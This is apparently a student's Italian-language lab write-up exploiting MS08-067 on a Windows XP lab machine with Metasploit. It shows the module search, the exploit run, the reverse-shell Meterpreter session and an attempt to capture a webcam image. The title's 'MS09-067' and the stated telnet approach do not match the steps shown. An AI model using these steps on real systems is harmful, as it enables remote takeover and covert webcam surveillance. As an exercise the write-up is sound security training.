Riccardo Agostino Monti

S7 L3 HACKING MS09-067

Scopo del test

Nell’esercizio di oggi ci viene chiesto di collegarci alla macchina Windows XP utilizzando telnet dal framework di metasploit e verificare che la webcam sia presente.

Passo 1

Ricerca dell’exploit.

```
msf6 > search ms08

Matching Modules
================

   #  Name                                           Disclosure Date  Rank       Check  Description
   -  ----                                           ---------------  ----       -----  -----------
   0  exploit/windows/smb/ms08_067_netapi            2008-10-28       great      Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption
   1  exploit/windows/smb/smb_relay                  2001-03-31       excellent  No     MS08-068 Microsoft Windows SMB Relay Code Execution
   2  exploit/windows/browser/ms08_078_xml_corruption  2008-12-07       normal     No     MS08-078 Microsoft Internet Explorer Data Binding Memory Corruption
   3  auxiliary/admin/ms/ms08_059_his2006            2008-10-14       normal     No     Microsoft Host Integration Server 2006 Command Execution Vulnerability
   4  exploit/windows/browser/ms08_070_visual_studio_msmask  2008-08-13       normal     No     Microsoft Visual Studio Mdmask32.ocx ActiveX Buffer Overflow
   5  exploit/windows/browser/ms08_041_snapshotviewer  2008-07-07       excellent  No     Snapshot Viewer for Microsoft Access ActiveX Control Arbitrary File Download
   6  exploit/windows/browser/ms08_053_mediaencoder  2008-09-09       normal     No     Windows Media Encoder 9 wmex.dll ActiveX Buffer Overflow
   7  auxiliary/fileformat/multidrop                                  normal     No     Windows SMB Multi Dropper


Interact with a module by name or index. For example info 7, use 7 or use auxiliary/fileformat/multidrop

msf6 > use exploit/windows/smb/ms08_067_netapi
```

Passo 2

Setup e utilizzo del exploit.

```
msf6 exploit(windows/smb/ms08_067_netapi) > set rhosts 192.168.50.111
rhosts => 192.168.50.111
msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] Started reverse TCP handler on 192.168.50.100:4444
[*] 192.168.50.111:445 - Automatically detecting the target...
[*] 192.168.50.111:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Italian
[*] 192.168.50.111:445 - Selected Target: Windows XP SP3 Italian (NX)
[*] 192.168.50.111:445 - Attempting to trigger the vulnerability...
[*] Sending stage (175686 bytes) to 192.168.50.111
[*] Meterpreter session 1 opened (192.168.50.100:4444 -> 192.168.50.111:1032) at 2024-01-17 09:34:52 +0100

meterpreter > ipconfig

Interface  1
============
Name         : MS TCP Loopback interface
Hardware MAC : 00:00:00:00:00:00
MTU          : 1520
IPv4 Address : 127.0.0.1


Interface  2
============
Name         : Scheda server Intel(R) PRO/1000 Gigabit - Miniport dell'Utilit  di pianificazione pacchetti
Hardware MAC : 08:00:27:dd:60:de
MTU          : 1500
IPv4 Address : 192.168.50.111
IPv4 Netmask : 255.255.255.0
```

Passo 3

Cercare la webcam e provare a effettuare una foto. Webcam trovata ma è impossibile fare la foto perché mancano i driver.

```
meterpreter > webcam_list
1: Periferica video USB
meterpreter > webcam_snap
[*] Starting...
[*] Stopped
[-] stdapi_webcam_start: Operation failed: 2147942431
```